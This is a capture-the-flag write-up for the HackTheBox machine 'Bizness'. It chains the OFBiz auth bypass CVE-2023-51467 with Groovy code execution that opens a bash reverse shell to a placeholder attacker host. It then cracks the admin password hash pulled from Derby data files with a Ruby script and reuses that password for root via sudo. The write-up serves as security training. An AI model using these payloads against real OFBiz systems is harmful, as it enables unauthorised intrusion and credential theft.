// HackTheBox

Bizness

CVE-2023-51467 (OFBiz auth bypass) + Groovy RCE → cracked OFBiz admin hash, reused as root's password

HackTheBoxEasyLinux Jul 20, 2026 5 min read

Recon

Three ports, and the HTTPS service is doing all the interesting work:

Port Service
22 SSH
80 HTTP (redirects to https)
443 HTTPS (nginx fronting Apache OFBiz)

Port 80 just bounces to HTTPS, and 443 is an nginx reverse proxy sitting in front of Apache OFBiz — a large, sprawling Java ERP suite. OFBiz exposes an administrative toolset under /webtools/control/...; the main page loads without any authentication, and only the inner screens behind it ask for a login. A widely deployed Java app with a public admin surface is the obvious thread to pull: OFBiz has a well-known 2023 auth-bypass CVE, and confirming the version-appropriate behaviour is the fastest route in.

Foothold — CVE-2023-51467 (OFBiz auth bypass) + Groovy RCE

1. Bypass authentication

CVE-2023-51467 is a login-check flaw: OFBiz treats an empty username/password pair combined with the requirePasswordChange=Y flag as a state where the auth check should be skipped rather than failed. In practice, appending ?USERNAME=&PASSWORD=&requirePasswordChange=Y to any /webtools/control/<screen> request slips past the login gate. It isn’t tied to one endpoint — it works on every screen under /webtools/control/.

The quickest confirmation is the ping screen, which should answer PONG only to an authenticated caller:

$ curl -sk 'https://bizness.htb/webtools/control/ping?USERNAME=&PASSWORD=&requirePasswordChange=Y'

It returns PONG, proving the bypass lands us inside the authenticated web-tools context.

2. Groovy RCE via ProgramExport

With the auth gate defeated, the useful screen is /webtools/control/ProgramExport, a developer utility that accepts a groovyProgram POST parameter and evaluates it server-side as Groovy (a JVM scripting language). Arbitrary Groovy evaluation is effectively code execution.

The naive way to run a shell command from Groovy is 'cmd'.execute() on a plain string, but that tokenizes the string on whitespace and mishandles quoting — anything with spaces, redirects, or pipes breaks. The reliable approach is the list form of execute(), which passes each list element as a literal argv entry with no reparsing, so a full bash -c one-liner survives intact:

groovyProgram=throw new Exception(["bash","-c","bash -i >& /dev/tcp/<LHOST>/4444 0>&1"].execute().text)

The throw new Exception(...) wrapper is a verification trick: .text captures the command’s stdout, and throwing it as an exception surfaces that output directly in the rendered error page. That makes a one-shot check trivial — running id this way echoes the result inline — before committing to a blind reverse-shell payload. Here it drops a shell as the ofbiz service user.

Privilege Escalation — cracked OFBiz admin hash, reused as root’s password

1. Pull the admin hash out of Derby’s data files

OFBiz stores its data in an embedded Apache Derby database. Rather than query the engine, note that Derby persists each table to flat, plaintext-searchable .dat segment files on disk — under /opt/ofbiz/runtime/data/derby/ofbiz/seg0/. Grepping those files for SHA surfaces the UserLogin row for admin directly:

$ grep -r 'SHA' /opt/ofbiz/runtime/data/derby/ofbiz/seg0/
currentPassword="$SHA$d$uP0_QaVBpDWFeo8-dRzDqRwXQ2I" userLoginId="admin"

2. Reproduce OFBiz’s hash scheme and crack it

The $SHA$d$... format is OFBiz-specific, so guessing the algorithm risks wasting a crack run. Instead, the exact scheme comes from OFBiz’s own HashCrypt.getCryptedBytes — the relevant lines (fetched from the apache/ofbiz-framework source on GitHub) are:

messagedigest.update(salt.getBytes(UTF_8));
messagedigest.update(passwordBytes);
return Base64.encodeBase64URLSafeString(messagedigest.digest());

That is base64url(SHA1(salt + password)), and the $SHA$d$ prefix tells us the salt is the literal string 'd'. Reimplementing exactly that in Ruby (exploit/crack_admin.rb) and running it against rockyou.txt finds the password in under a second — it sits early in the list:

require 'digest'; require 'base64'

target = 'uP0_QaVBpDWFeo8-dRzDqRwXQ2I'   # $SHA$d$<hash> from the UserLogin row
File.foreach('rockyou.txt', chomp: true) do |pw|
  digest = Base64.urlsafe_encode64(Digest::SHA1.digest('d' + pw), padding: false)
  next unless digest == target
  puts "found: #{pw}"
  break
end

The recovered password is monkeybizness.

3. Reuse the password for root

That password turns out to be root’s local Linux password as well — plain credential reuse, nothing OFBiz-specific about it. Escalating is then just a matter of authenticating as root, but there’s a gotcha: su root hangs and fails silently because the reverse shell has no real TTY, and su insists on a controlling terminal to read the password securely. sudo reading the password from stdin sidesteps that — Debian’s sudo doesn’t demand a TTY unless requiretty is set:

$ echo monkeybizness | sudo -S -i

That returns a full root shell.

Key Takeaways

  • OFBiz auth bypass is a one-line query-string trick (?USERNAME=&PASSWORD=&requirePasswordChange=Y) appended to any /webtools/control/ URL — not specific to one endpoint.
  • Groovy’s .execute() on a bare string tokenizes on whitespace and can’t express quoting/shell operators; use the list form (["bash","-c","..."].execute()) to run a real one-liner reliably.
  • throw new Exception(cmd.execute().text) is a handy zero-setup way to get command output reflected directly in a Groovy-eval response, before committing to a blind reverse shell.
  • OFBiz (and likely other Java apps using an embedded Derby DB) store table data in plain-text-searchable .dat segment files — grep/strings across them can surface credentials directly without needing to actually query the DB engine.
  • su requiring a real TTY is a recurring gotcha on non-pty reverse shells; sudo -S reading the password from stdin is the reliable fallback once a valid password is in hand.
← All writeups